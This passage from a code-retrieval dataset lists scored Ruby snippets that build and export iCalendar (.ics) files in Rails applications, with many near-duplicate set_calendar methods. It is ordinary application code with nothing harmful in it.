"text": "def download_ics\n @events = Event.all\n cal = Icalendar::Calendar.new\n\n @events.each do |e|\n event = Icalendar::Event.new\n event.dtstart = e.startDate\n event.dtend = e.endDate\n event.summary = e.name\n event.description = e.description\n cal.add_event(event)\n end\n\n send_data cal.to_ical, type: 'text/calendar', disposition: 'attachment', filename: 'VWB Calendar.ics'\n end",
"title": ""
},
{
"docid": "330bc88ddc904303f2f29f0a070834f5",
"score": "0.5257083",
"text": "def out_ical\n File.open(ICAL_PUBLIC_PATH, 'w') do |f|\n ical = ICalendar.new\n public_events.each { |event| ical.set_event(event, :public) }\n f.write(ical)\n end\n File.open(ICAL_PRIVATE_PATH, 'w') do |f|\n ical = ICalendar.new\n private_events.each { |event| ical.set_event(event, :private) }\n f.write(ical)\n end\n end",
"title": ""
},
{
"docid": "1dcb998e3043e3f229bedea75c86f648",
"score": "0.52318734",
"text": "def to_ics\n cale = Icalendar::Event.new\n cale.dtstart = starttime\n cale.dtend = endtime\n cale.summary = route.ical_title\n cale.description = route.ical_description\n cale.created = created_at\n cale.last_modified = updated_at\n # cale.uid = id # Don't do this in real life !!! why they say this ?\n cale\n end",
"title": ""
},
{
"docid": "fdc5f2b726aef2c69f597aff9b801c7b",
"score": "0.5217155",
"text": "def to_ics(cal, &block)\n if self.deleted?\n cal.add_x_property('METHOD', 'CANCEL')\n else\n cal.add_x_property('METHOD', 'REQUEST')\n end\n cal.event do |event|\n event.uid = \"uid_#{self.id}_openirekia\"\n event.sequence = self.staff_alert_version\n event.summary = self.title\n event.description = block_given? ? yield[:description] || self.description_for_ics : self.description_for_ics\n event.dtstart = self.starts_at.getutc.strftime(\"%Y%m%dT%H%M%SZ\")\n event.dtend = self.ends_at.getutc.strftime(\"%Y%m%dT%H%M%SZ\")\n event.location = self.pretty_place\n event.url = yield[:url] if block_given?\n event.created = self.created_at.getutc.strftime(\"%Y%m%dT%H%M%SZ\")\n event.last_modified = self.updated_at.getutc.strftime(\"%Y%m%dT%H%M%SZ\")\n event.dtstamp = Time.zone.now.getutc.strftime(\"%Y%m%dT%H%M%SZ\")\n if self.deleted?\n event.status = \"CANCELLED\"\n else\n event.status = \"CONFIRMED\"\n end\n end\n end",
"title": ""
},
{
"docid": "38d3153ad67743c6cab197e4ec44036d",
"score": "0.52107245",
"text": "def ical\n Icalendar::Calendar.new.tap do |cal|\n cal.prodid = '-//UMASS_TRANSIT_JOBAPPS//INTERVIEW_EXPORT//EN'\n cal.publish\n\n event = Icalendar::Event.new.tap do |e|\n e.dtstart = scheduled.to_formatted_s :ical\n e.description = application_submission.url\n e.summary = calendar_title\n e.uid = \"INTERVIEW#{id}@UMASS_TRANSIT//JOBAPPS\"\n e.dtstamp = created_at.to_formatted_s :ical\n e.status = 'CONFIRMED'\n end\n cal.add_event event\n end\n end",
"title": ""
},
{
"docid": "cdb905bf1e955eb39c57810c8b186c5b",
"score": "0.5199589",
"text": "def to_ics\n\t\tevent = Icalendar::Event.new\n\t\tevent.start = self.date.strftime(\"%Y%m%dT%H%M%S\")#times use the Y/M/D\n\t\tevent.end = self.end_date.strftime(\"%Y%m%dT%H%M%S\")# and T H/M/S format\n\t\tevent.summary = self.title\n\t\tevent.description = self summary\n\t\tevent.location = 'Here !'\n\t\tevent.klass = \"PUBLIC\"\n\t\tevent.created = self.created_at\n\t event.last_modified = self.updated_at\n\t\tevent.uid.event.url=\"#{PUBLIC_URL}events/#{self.id}\"\n\t\tevent.add_comment(\"AF83 -Shake your digital, we do WowWare\")\n\t\tevent\n\tend",
"title": ""
},
{
"docid": "7c25e00e7ea6f1d8e712cec4fd8fd98f",
"score": "0.5192617",
"text": "def to_ical(opts={})\n self.class.to_ical(self, opts)\n end",
"title": ""
},
{
"docid": "629aceb9967ff8cde9b45098d068b54f",
"score": "0.5074103",
"text": "def generate_ical(reservation)\n cal = Icalendar::Calendar.new\n cal.event do |e|\n e.dtstart = Icalendar::Values::DateTime.new(reservation.start_datetime)\n e.dtend = Icalendar::Values::DateTime.new(reservation.end_datetime)\n e.summary = reservation.title\n e.description = reservation.description\n e.alarm do |a|\n a.summary = reservation.event.description\n a.trigger = '-P1DT0H0M0S' # 1 day before\n end\n end\n cal.publish\n cal.to_ical\n end",
"title": ""
},
{
"docid": "0d3152effec87bed6170b2a8c867fd1e",
"score": "0.50452393",
"text": "def icalendar\n load_calendar_data(Company.where(:ics_identifier => params[:id]).first)\n \n respond_to do |format|\n format.ics {\n render :text => get_icalendar(@appointments)\n }\n end\n end",
"title": ""
},
{
"docid": "c1b3175e5253c7bff893a00dc7a8c153",
"score": "0.498646",
"text": "def show_ical(course, yoe, ignored = [])\n begin\n calendar = Calendar.new(course, yoe.to_i, ignored)\n rescue ArgumentError => e\n return error 404, e.message\n end\n headers \"Content-Type\" => \"text/calendar\"\n calendar.to_ical\n end",
"title": ""
},
{
"docid": "f549c1fafa5515efcecb44520bc06da3",
"score": "0.47891495",
"text": "def subscribe_events\n @calendar = Icalendar::Calendar.new\n\n for cal in @events\n event = Icalendar::Event.new\n event.start = cal.start_date.strftime(\"%Y%m%dT%H%M%S\")\n event.end = cal.end_date.strftime(\"%Y%m%dT%H%M%S\")\n event.summary = cal.event\n event.description = cal.description\n #event.location = cal.location\n @calendar.add event\n end \n\n @calendar.publish\n @calendar.to_ical\n end",
"title": ""
},
{
"docid": "ed0955a16ed1b62ba5374faaf1c0b652",
"score": "0.4788271",
"text": "def to_ical(force_utc = false)\n pieces = []\n pieces << \"DTSTART#{IcalBuilder.ical_format(start_time, force_utc)}\"\n pieces << \"DURATION:#{IcalBuilder.ical_duration(duration)}\" if duration\n pieces.concat recurrence_rules.map { |r| \"RRULE:#{r.to_ical}\" }\n pieces.concat exception_rules.map { |r| \"EXRULE:#{r.to_ical}\" }\n pieces.concat recurrence_times.map { |t| \"RDATE#{IcalBuilder.ical_format(t, force_utc)}\" }\n pieces.concat exception_times.map { |t| \"EXDATE#{IcalBuilder.ical_format(t, force_utc)}\" }\n pieces << \"DTEND#{IcalBuilder.ical_format(end_time, force_utc)}\" if end_time\n pieces.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "2c3eb0e0ef87a74cd8120627925418ba",
"score": "0.47819126",
"text": "def to_ical_base\n representation = ''\n representation << \";INTERVAL=#{@interval}\" if @interval > 1\n @validation_types.values.each do |v|\n representation << ';' << v.send(:to_ical)\n end \n representation << \";COUNT=#{@occurrence_count}\" if @occurrence_count\n representation << \";UNTIL=#{TimeUtil.ical_utc_format(@until_date)}\" if @until_date\n representation\n end",
"title": ""
},
{
"docid": "9ec64dacc5cf13a26266593ad640d680",
"score": "0.47742537",
"text": "def to_ical( resources )\n calendar = Icalendar::Calendar.new\n calendar.custom_property(\"METHOD\",\"PUBLISH\")\n resources.each do |resource|\n calendar.add_event( resource.to_event )\n end\n calendar.to_ical\n end",
"title": ""
},
{
"docid": "c0ef0f241f97d0c5d46ad6ee7d6d7431",
"score": "0.47683766",
"text": "def convert_to_ics(semester_schedule)\n # TODO: Check if the ics actually has all the expected events\n cal = Icalendar::Calendar.new\n cal.timezone do |t|\n t.tzid = \"America/Chicago\"\n\n t.daylight do |d|\n d.tzoffsetfrom = \"-0600\"\n d.tzoffsetto = \"-0500\"\n d.tzname = \"CDT\"\n d.dtstart = \"19700308T020000\"\n d.rrule = \"FREQ=YEARLY;BYMONTH=3;BYDAY=2SU\"\n end\n\n t.standard do |s|\n s.tzoffsetfrom = \"-0500\"\n s.tzoffsetto = \"-0600\"\n s.tzname = \"CST\"\n s.dtstart = \"19701101T020000\"\n s.rrule = \"FREQ=YEARLY;BYMONTH=11;BYDAY=1SU\"\n end\n end\n\n days = semester_schedule.schedule\n days.each do |day|\n dateObject = day.date\n puts \"for #{dateObject} add #{day.student_events.length} events\"\n day.student_events.each do |event|\n date = dateObject.strftime(\"%Y%m%d\")\n cal.event do |e|\n start_date_time = dateObject.to_time #(date + event.start_time.to_s).to_i\n start_date_time = start_date_time + (event.start_time / 100) * 3600 + (event.start_time % 100) * 60\n e.dtstart = Icalendar::Values::DateOrDateTime.new(start_date_time)\n\n end_date_time = dateObject.to_time #(date + event.start_time.to_s).to_i\n end_date_time = end_date_time + (event.end_time / 100) * 3600 + (event.end_time % 100) * 60\n e.dtend = Icalendar::Values::DateOrDateTime.new(end_date_time)\n e.summary = event.summary\n e.location = event.location\n e.description = \"Have a nice and wholesome meal!\"\n end\n end\n end\n\n cal.publish\n cal\n return cal.to_ical\nend",
"title": ""
},
{
"docid": "16493984228d491cbba3072d270654fb",
"score": "0.47643605",
"text": "def to_ics\n event = Icalendar::Event.new\n event.summary = project.name\n event.description = \"Project: #{ project.present? ? project.name : 'Untitled' } - Client: #{ project.client.present? ? project.client.name : \"No client\" }\"\n event.start = start_date.to_datetime\n .change(hour: project.account.account_setting.working_day_start_time.hour)\n .strftime(\"%Y%m%dT%H%M%S\")\n event.end = end_date.to_datetime\n .change(hour: project.account.account_setting.working_day_end_time.hour)\n .strftime(\"%Y%m%dT%H%M%S\")\n event\n end",
"title": ""
},
{
"docid": "7f3d4a3e8189566ce2966975a53d8a5e",
"score": "0.4744022",
"text": "def create_calendar\n cal = Icalendar::Calendar.new\n cal.event do |e|\n # e.dtstart = Icalendar::Values::self.time Don't know how to implement\n # e.dtend = TO BE CALCULATED\n e.summary = \"Workout Session\"\n e.description = self.goals\n end\n cal.publish\n end",
"title": ""
},
{
"docid": "a9a1e4b1184e03bde2f2f3347df4f530",
"score": "0.474161",
"text": "def export_events \n @events = Calendar.current_events(params[:id])\n self.build_ical\n end",
"title": ""
},
{
"docid": "56e5f27b0b3e0ff03b4ae764aae77c0a",
"score": "0.47391212",
"text": "def to_ical_event\n get_calitem if @message == nil\n iev = Icalendar::Event.new\n iev.uid = @message.uID\n unless(@message.organizer == nil)\n iev.organizer = \"CN=\\\"#{@message.organizer.mailbox.name}\\\"\" if @message.organizer.mailbox.name\n iev.organizer += \":MAILTO:#{@message.organizer.mailbox.emailAddress}\" if @message.organizer.mailbox.emailAddress\n end\n # TODO: Handle EWS Timezones better. TZ_HASH in viewpoint.rb is the start of this\n require 'time'\n #tzoffset = @message.timeZone.sub(/^\\(GMT([^\\)]+)\\).*$/,'\\1')\n dtstart = Time.at(@message.start.strftime('%s').to_i)\n dtend = Time.at(@message.v_end.strftime('%s').to_i)\n dtstamp = Time.at(@message.dateTimeStamp.strftime('%s').to_i)\n last_modified = Time.at(@message.lastModifiedTime.strftime('%s').to_i)\n timestr = \"%Y%m%dT%H%M%S\"\n iev.dtstart = dtstart.strftime(timestr)\n iev.dtend = dtend.strftime(timestr)\n iev.tzid = dtstart.strftime('%Z')\n iev.dtstamp = dtstamp.strftime(timestr)\n iev.last_modified = last_modified.strftime(timestr)\n iev.location = @message.location if @message.location\n iev.klass = @message.sensitivity if @message.sensitivity\n iev.summary = @message.subject if @message.subject\n iev.description = @message.body if @message.body\n iev.transp = @message.legacyFreeBusyStatus if @message.legacyFreeBusyStatus\n iev.duration = @message.duration if @message.duration\n iev.sequence = @message.appointmentSequenceNumber if @message.appointmentSequenceNumber\n iev.status = @message.myResponseType if @message.myResponseType\n #iev.attach @message.attachments if @message.hasAttachments\n @message.requiredAttendees.each do |pers|\n output = \"ROLE=REQ-PARTICIPANT;CN=\\\"#{pers.mailbox.name}\\\"\" if pers.mailbox.respond_to?(:name)\n output += \":MAILTO:#{pers.mailbox.emailAddress}\" if pers.mailbox.respond_to?(:emailAddress)\n iev.attendees << output if output\n end if @message.requiredAttendees\n @message.optionalAttendees.each do |pers|\n output = \"ROLE=OPT-PARTICIPANT;CN=\\\"#{pers.mailbox.name}\\\"\" if pers.mailbox.respond_to?(:name)\n output += \":MAILTO:#{pers.mailbox.emailAddress}\" if pers.mailbox.respond_to?(:emailAddress)\n iev.attendees << output if output\n end if @message.optionalAttendees\n\n #iev.categories = @message.categories if @message.categories\n #iev.resources = @message.resources if @message.resources\n return iev\n end",
"title": ""
},
{
"docid": "c07c92ca1cc75ad04445df653f47b497",
"score": "0.47306228",
"text": "def fix_iCal(calendar)\n calendar.events.each do |event|\n event.dtstart = Date.parse(event.dtstart.to_s) << 12\n end\n calendar\n end",
"title": ""
},
{
"docid": "e038205171d2efa0876ab0c6ab373819",
"score": "0.4710704",
"text": "def export_daily_events \n @events = Calendar.day_events(params[:id])\n self.build_ical\n end",
"title": ""
},
{
"docid": "e40898006e8e923b5a9fe8975575964f",
"score": "0.47084442",
"text": "def create_internal_calendar\n \n #If we have a valid calendar, return it directly.\n return @calendar unless @calendar.nil?\n\n @calendar = RiCal.Calendar do |cal|\n\n #Ensure that we're not enforcing a time zone.\n cal.default_tzid = :floating\n\n @sessions.each do |session|\n\n #Skip any events that don't have dates.\n next unless session.start_time and session.end_time and session.date_range\n\n add_event_to_calendar(cal, session) \n end\n\n end\n end",
"title": ""
},
{
"docid": "0d80f42a58ac5d20b24ada3634024696",
"score": "0.46978542",
"text": "def ical\n # Create a calendar with an event (standard method)\n cal = Icalendar::Calendar.new\n cal.event do |e|\n e.dtstart = Icalendar::Values::DateTime.new(start_at)\n e.dtend = Icalendar::Values::DateTime.new(end_at)\n e.summary = \"#{course.name.capitalize} avec #{course.coach.user.first_name.capitalize}\"\n e.description = \" #{specificities} \\n #{course.content} \\n #{course.details}. \"\n e.ip_class = \"PRIVATE\"\n e.location = \"Rdv: #{course.meeting_point} - #{course.address}\"\n e.organizer = course.coach.user.email\n end\n cal\n end",
"title": ""
},
{
"docid": "e054539f5e9447b754e3aa85b824249d",
"score": "0.46937606",
"text": "def push(calendar)\n File.open(calendar.file, 'w') do |f|\n f.puts calendar.cal.to_ical\n end\n end",
"title": ""
},
{
"docid": "b9345953984c468951a4a799ea8135fc",
"score": "0.46878883",
"text": "def calendar # rubocop:disable AbcSize, MethodLength\n prepare_calendar_vars\n\n # extract calendar data\n respond_to do |format|\n format.html\n format.json { @calendar_res = generate_calendar_reservations }\n # generate iCal version\n # see https://gorails.com/forum/multi-event-ics-file-generation\n format.ics do\n @calendar_res = generate_calendar_reservations\n cal = Icalendar::Calendar.new\n\n @calendar_res.each do |r|\n event = Icalendar::Event.new\n event.dtstart = Icalendar::Values::Date.new(r.start_date)\n event.dtend = Icalendar::Values::Date.new(r.end_date + 1.day)\n event.summary = r.reserver.name\n event.location = r.equipment_item.name unless r.equipment_item.nil?\n event.url = reservation_url(r, format: :html)\n cal.add_event(event)\n end\n cal.publish\n\n response.headers['Content-Type'] = 'text/calendar'\n response.headers['Content-Disposition'] =\n 'attachment; filename=reservations.ics'\n render plain: cal.to_ical\n end\n end\n end",
"title": ""
},
{
"docid": "7ea78d4e17b6aeca293064de670108cd",
"score": "0.46707138",
"text": "def to_calendar(*args)\n raise \"Implement to_calendar in inherited class\"\n end",
"title": ""
},
{
"docid": "82eda6b6a9f016ce1b42eb8df18f49e5",
"score": "0.4645656",
"text": "def export_events \n @events = Calendar.find(:all) do\n start_date >= params[:id]\n order_by start_date\n end\n\n self.build_ical\n end",
"title": ""
},
{
"docid": "981b8e419290b4f9f01074f7b625c863",
"score": "0.4638733",
"text": "def get_i_cal\n fail 'missing ICS file' if @ical_file.nil?\n begin\n file_content = open(@ical_file, &:read)\n icals = Icalendar.parse(file_content)\n puts \"Can't proccess ICS file with multiple calendars\" && exit(1) if icals.size > 1\n icals.first\n rescue StandardError\n raise ArgumentError.new(\"Cannot open #{@ical_file}\")\n end\n end",
"title": ""
},
{
"docid": "3c5f8ff4a020f67ea236b248d2988cbb",
"score": "0.46229604",
"text": "def to_ical\n @rdatelist.toIcal\n end",
"title": ""
},
{
"docid": "9c48a3ebb81382aefb3a672bc9b11909",
"score": "0.45731312",
"text": "def show\n calendar = Icalendar::Calendar.new\n calendar.add_event(@reservation.to_ics)\n\n respond_to do |format|\n format.html { render layout: 'blank' }\n format.ics { render text: calendar.to_ical }\n end\n # TODO: change this to render partial\n end",
"title": ""
},
{
"docid": "632a05b8b42af61ba76b65db8fa17a51",
"score": "0.454582",
"text": "def to_rifcs(builder, date_modified = nil)\n\n collection_attrs = { 'xmlns' => RIFCS_NS }\n collection_attrs[:type] = rifcs_subtype()\n if date_modified\n collection_attrs[:dateModified] = date_modified.iso8601\n end\n\n builder.collection(collection_attrs) {\n base_to_rifcs(builder)\n temporal_to_rifcs(builder)\n spatial_to_rifcs(builder)\n\n if ! (rights_access.empty? &&\n rights_statement.empty? &&\n rights_licence.empty?)\n builder.rights {\n if ! rights_statement.empty? \n # rightsUri: optional attribute\n builder.rightsStatement(rights_statement[0])\n end\n if ! rights_licence.empty? \n # type: rightsUri:\n builder.licence(rights_licence[0])\n end\n if ! rights_access.empty? \n # type: rightsUri:\n builder.accessRights(rights_access[0])\n end\n }\n end\n\n related_object(createdBy, :hasCollector, builder) # party\n related_object(managedBy, :isManagedBy, builder) # party\n related_object(producedBy, :isOutputOf, builder) # activity\n related_object(accessedVia, :supports, builder) # service\n related_object(isRelatedTo, :hasAssociationWith, builder) # collection\n related_info(referencedBy, builder) # publication\n }\n end",
"title": ""
},
{
"docid": "ccb88e9392a2abdfa223fa2e3df5e74c",
"score": "0.45398185",
"text": "def generate_epub_stream\n cleanup\n Zip::OutputStream::write_buffer(StringIO.new) do\n |epub|\n write_to_epub_container(epub)\n end\n end",
"title": ""
},
{
"docid": "2f91dd577e15f7e65d9d8655799c7b5f",
"score": "0.453712",
"text": "def to_ical(force_utc = false)\n pieces = []\n pieces << \"DTSTART#{IcalBuilder.ical_format(start_time, force_utc)}\"\n pieces.concat recurrence_rules.map { |r| \"RRULE:#{r.to_ical}\" }\n pieces.concat exception_rules.map { |r| \"EXRULE:#{r.to_ical}\" }\n pieces.concat recurrence_times_without_start_time.map { |t| \"RDATE#{IcalBuilder.ical_format(t, force_utc)}\" }\n pieces.concat exception_times.map { |t| \"EXDATE#{IcalBuilder.ical_format(t, force_utc)}\" }\n pieces << \"DTEND#{IcalBuilder.ical_format(end_time, force_utc)}\" if end_time\n pieces.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "908aee9a5005a4ef6938b87cc61948eb",
"score": "0.45069733",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "8dc00892a5e17d4a687d0cf62fe1f1d2",
"score": "0.4503529",
"text": "def set_calendar\n @calendar = Calendar.find(params[:calendar_id])\n end",
"title": ""
},
{
"docid": "1fa5f0d7ed4f3c7cc64f75e5510dafc6",
"score": "0.4449401",
"text": "def export_event\n @event = Calendar.find(params[:id])\n\n @calendar = Icalendar::Calendar.new\n\n event = Icalendar::Event.new\n event.start = @event.start_date.strftime(\"%Y%m%dT%H%M%S\")\n event.end = @event.end_date.strftime(\"%Y%m%dT%H%M%S\")\n event.summary = @event.event\n event.description = @event.description\n #event.location = @event.location\n\n @calendar.add event \n @calendar.publish\n\n send_data(@calendar.to_ical, :type => 'text/calendar', :filename => 'ical.ics')\n end",
"title": ""
},
{
"docid": "812de1b9a78a7d56e4256875d35fe216",
"score": "0.4448864",
"text": "def generate_ics(ical_uid: nil, method: nil, prodid: nil)\n raise ArgumentError, \"Cannot generate an ICS file for an event without a Calendar ID or when set\" unless\n calendar_id && self.when\n\n payload = build_ics_event_payload(ical_uid, method, prodid)\n response = api.execute(\n method: :post,\n path: \"#{resources_path}/to-ics\",\n payload: JSON.dump(payload)\n )\n\n response[:ics]\n end",
"title": ""
},
{
"docid": "cf6614edda08a329668a8502e4cecb38",
"score": "0.44435588",
"text": "def gen_calendar_ics(site)\n cal = Icalendar::Calendar.new\n\n cal.x_wr_calname = site.config['title']\n\n confs_match(site.data.site.events_filter, site.data.events).each do |year_label, year|\n\n if year_label[/\\d{4}/]\n\n year.each do |conf_label, conf|\n\n conference = Icalendar::Event.new\n\n conference.uid = conference.uid.gsub(/@.*/, \"@#{site.data.site.domain}\")\n\n conference.summary = conf.name\n conference.location = conf.location\n conference.description = markdown_to_plaintext(conf.description).gsub(/\\n/, '')\n\n conference.start = conf.start\n\n # DTEND is unintuitively day + 1 (next day) for date-only events\n # according to RFC 5545 section 3.6.1 (page 53)\n conference.end = conf.end + 1 if conf.end\n\n if conf.talks\n talk_times = []\n\n conf.talks.each do |talk|\n event = Icalendar::Event.new\n\n event.uid = event.uid.gsub(/@.*/, \"@#{site.data.site.domain}\")\n\n description_text = \"Speaker: #{talk.speaker}. #{talk.description.to_s.strip}\"\n\n event.summary = talk.title.gsub(/:/, '\\\\:')\n event.location = talk.location || conf.location\n event.description = markdown_to_plaintext(description_text).gsub(/\\n/, '')\n\n if talk.start && talk.end\n timezone = tz_lookup(talk.timezone || conf.timezone || talk.start[/[a-zA-Z+0-9:]+$/])\n\n # Workaround for IST collision\n if talk.start =~ /IST$/ && event.location =~ /UK|United Kingdom|Dublin|Edinburgh|Ireland/i\n timezone = \"Europe/Dublin\"\n elsif talk.start =~ /IST$/\n timezone = \"Asia/Kolkata\"\n end\n\n event.start = vcal_time talk.start, timezone\n event.end = vcal_time talk.end, timezone\n\n # Keep track of all talk times, so conf. dates can be optional\n talk_times.push event.start\n talk_times.push event.end\n\n # Only add talks with date and time\n # There are some TBA events that are displayed,\n # but those don't belong in an .ics file\n cal.add_event(event)\n end\n end\n\n # Rewrite conference start and end based on talks,\n # if start and end times were not given\n if talk_times.min && !conference.start\n conference.start = talk_times.min.split(/T/).first.to_date\n end\n if talk_times.max && !conference.end\n conference.end = talk_times.max.split(/T/).first.to_date + 1\n end\n\n end\n\n cal.add_event(conference)\n end\n\n end\n\n end\n\n cal.to_ical\nend",
"title": ""
},
{
"docid": "f196e5746bc3317121d1f08a6067cf44",
"score": "0.44374436",
"text": "def calendar=(value)\n @calendar = value\n end",
"title": ""
},
{
"docid": "f196e5746bc3317121d1f08a6067cf44",
"score": "0.44374436",
"text": "def calendar=(value)\n @calendar = value\n end",
"title": ""
},
{
"docid": "f196e5746bc3317121d1f08a6067cf44",
"score": "0.44374436",
"text": "def calendar=(value)\n @calendar = value\n end",
"title": ""
},
{
"docid": "08c80b95718149e768a45aa3261059e4",
"score": "0.4429391",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n format.ics do\n calendar = Icalendar::Calendar.new\n calendar.add_event(@event.to_ics)\n calendar.publish\n render :text => calendar.to_ical\n end\n end\n \n end",
"title": ""
},
{
"docid": "83e36256abd4be22ac04c48c2263203c",
"score": "0.44179088",
"text": "def show\n @event = Event.find(params[:id])\n\n @title = @event.name\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @event }\n format.ics do\n calendar = Icalendar::Calendar.new\n calendar.add_event(@event.to_ics)\n calendar.publish\n calendar.to_ical\n #render 'calendar.to_ical'\n #redirect_to root_path\n render :text => calendar.to_ical\n end\n end\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "3357d98a61ff1734c88733e08182e2dd",
"score": "0.44178298",
"text": "def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"title": ""
},
{
"docid": "ff837837bfe3da006fc41c22ac454f7c",
"score": "0.44157514",
"text": "def to_calendar(f_date = self.fixed)\n Calendrical::Calendar::Date.new(*Coptic::Date[f_date + Coptic::Date.epoch - Etheopian::Date.epoch].to_calendar)\n end",
"title": ""
},
{
"docid": "e9fe99e79f3aeaed7b79cbdcad9b09e3",
"score": "0.4396322",
"text": "def calendar(calendar_id = :all)\n calendars = if calendar_id.nil? || calendar_id.eql?(:all)\n calendars = decode_response http.get \"/calendar/feeds/default/allcalendars/full\"\n calendars = calendars[\"feed\"][\"entry\"]\n calendars.map{ |calendar| Calendar.build_calendar(calendar, self)}\n elsif calendar_id.eql?(:own)\n calendars = decode_response http.get \"/calendar/feeds/default/owncalendars/full\"\n calendars = calendars[\"feed\"][\"entry\"]\n calendars.map{ |calendar| Calendar.build_calendar(calendar, self)}\n elsif calendar_id.is_a?(String)\n Calendar.new({:id => calendar_id, :user => self}).fetch\n elsif calendar_id.is_a?(Hash)\n # TODO add support to {:title => calendar_title}\n raise ArgumentError.new \"Invalid argument type #{calendar_id.class}\"\n else\n raise ArgumentError.new \"Invalid argument type #{calendar_id.class}\"\n end\n end",
"title": ""
},
{
"docid": "5abe406e9978e19e7907ddb277f63342",
"score": "0.43878183",
"text": "def calendar()\n return MicrosoftGraph::Groups::Item::Calendar::CalendarRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"title": ""
},
{
"docid": "16924f25dd8a56c491182d22b021daeb",
"score": "0.43817174",
"text": "def export_ical\n @event = Event.find(params[:id]) \n # dates = EventDatetime.find_by_event_id(@event.id)\n urls = @event.get_urls\n url_total = \"\"\n for url in urls\n url_total += url.to_s + \", \"\n end\n @event.event_datetimes.sort!{|x,y| x.start_date <=> y.start_date} \n calen = Vpim::Icalendar.create2\n for datetime in @event.event_datetimes\n calen.add_event do |e|\n e.dtstart datetime.start_date\n e.dtend datetime.end_date\n e.description @event.description \n e.url url_total\n e.summary \"Event Title:\" + @event.name + \", Service:\"+ Event.get_Service_name(@event.service)\n end \n end \n icsfile = calen.encode \n # @cal_string = icsfile.to_ical\n send_data icsfile, :filename => \"#{@event.name}.ics\" \n \n end",
"title": ""
},
{
"docid": "2b6ad4f311af3be287ab902e850db867",
"score": "0.43783513",
"text": "def export_event\n @event = Calendar.find(params[:id])\n\n @calendar = Icalendar::Calendar.new\n\n event = Icalendar::Event.new\n event.start = @event.start_date.strftime(\"%Y%m%d\") + @event.start_time.strftime(\"T%H%M%S\")\n event.end = @event.end_date.strftime(\"%Y%m%d\") + @event.end_time.strftime(\"T%H%M%S\")\n event.summary = @event.event\n event.description = @event.description\n #event.location = @event.location\n\n @calendar.add event \n @calendar.publish\n\n send_data(@calendar.to_ical, :type => 'text/calendar', :filename => 'ical.ics')\n end",
"title": ""
},
{
"docid": "099b1d030c15f40e4c2ddad80259e442",
"score": "0.43683106",
"text": "def ics\n\t\theaders[\"Content-Type\"] = \"text/calendar; charset=utf-8\"\n\t\trender :text => @talks.to_ics\n\tend",
"title": ""
},
{
"docid": "18ecaa2cbe0f523ba33ca38be03fd6e0",
"score": "0.43617493",
"text": "def create_ics_file (schedule, first_game_date, last_date_this_season, team_names)\n holidays = HolidayDates.get_holiday_schedule()\n\n ics = Array.new\n ics.push(\"BEGIN:VCALENDAR\")\n ics.push(\"VERSION:2.0\")\n ics.push(\"X-WR-TIMEZONE:America/Los_Angeles\")\n ics.push(\"CALSCALE:GREGORIAN\")\n ics.push(\"METHOD:PUBLISH\")\n\n day = first_game_date\n wknum = 0\n while day <= last_date_this_season && wknum < schedule[:weekcount]\n if holidays.member?(day)\n day = day + 7\n next\n end\n schedule[:weeks][wknum][:games].sort {|x,y| x[:rink_id] <=> y[:rink_id]}.each do |game|\n tid = game[:timeslot_id]\n rid = game[:rink_id]\n home = game[:home]\n away = game[:away]\n home_team_name = team_names[home - 1]\n away_team_name = team_names[away - 1]\n rink_name = schedule[:rinks][rid][:short_name]\n rink_address = schedule[:rinks][rid][:address]\n rink_location = schedule[:rinks][rid][:location]\n rink_structured_location = schedule[:rinks][rid][:structured_location]\n\n start_hour = schedule[:timeslots][tid][:hour]\n start_minute = schedule[:timeslots][tid][:minute]\n\n start_time = Time.iso8601(\"#{day.strftime}T%02d:%02d:00\" % [start_hour, start_minute])\n end_time = start_time + (60 * 75)\n\n ics.push(\"BEGIN:VEVENT\")\n ics.push(\"DTSTART;TZID=America/Los_Angeles:#{start_time.localtime.strftime(\"%Y%m%dT%H%M%S\")}\")\n 